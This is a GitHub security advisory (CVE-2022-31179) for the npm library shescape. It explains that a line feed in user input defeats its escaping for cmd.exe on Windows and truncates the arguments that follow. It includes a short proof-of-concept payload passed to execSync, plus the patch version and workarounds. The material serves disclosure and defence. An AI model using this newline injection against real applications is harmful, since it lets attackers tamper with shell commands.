GHSA-jjc5-fp7p-6f8w

Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/07/GHSA-jjc5-fp7p-6f8w/GHSA-jjc5-fp7p-6f8w.json
Aliases
  • CVE-2022-31179
Published
2022-07-15T21:39:14Z
Modified
2022-08-11T18:42:41Z
Details

Impact

This impacts users that use Shescape (any API function) to escape arguments for cmd.exe on Windows. An attacker can omit all arguments following their input by including a line feed character ('\n') in the payload. Example:

import cp from "node:child_process";
import * as shescape from "shescape";

// 1. Prerequisites
const options = {
  shell: "cmd.exe",
};

// 2. Attack
const payload = "attacker\n";

// 3. Usage
let escapedPayload;
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options)[0];
// Or
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options)[0];

cp.execSync(`echo Hello ${escapedPayload}! How are you doing?`, options);
// Outputs:  "Hello attacker"

Note: execSync is just illustrative here, all of exec, execFile, execFileSync, fork, spawn, and spawnSync can be attacked using a line feed character if CMD is the shell being used.

Patches

This bug has been patched in [v1.5.8] which you can upgrade to now. No further changes are required.

Workarounds

Alternatively, line feed characters ('\n') can be stripped out manually or the user input can be made the last argument (this only limits the impact).

References

  • https://github.com/ericcornelissen/shescape/pull/332
  • https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8

For more information

If you have any questions or comments about this advisory:

  • Comment on https://github.com/ericcornelissen/shescape/pull/332
  • Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question > Get started)
References

Affected packages

npm / shescape

shescape

Affected ranges

Type
SEMVER
Events
Introduced
0
Fixed
1.5.8

Affected versions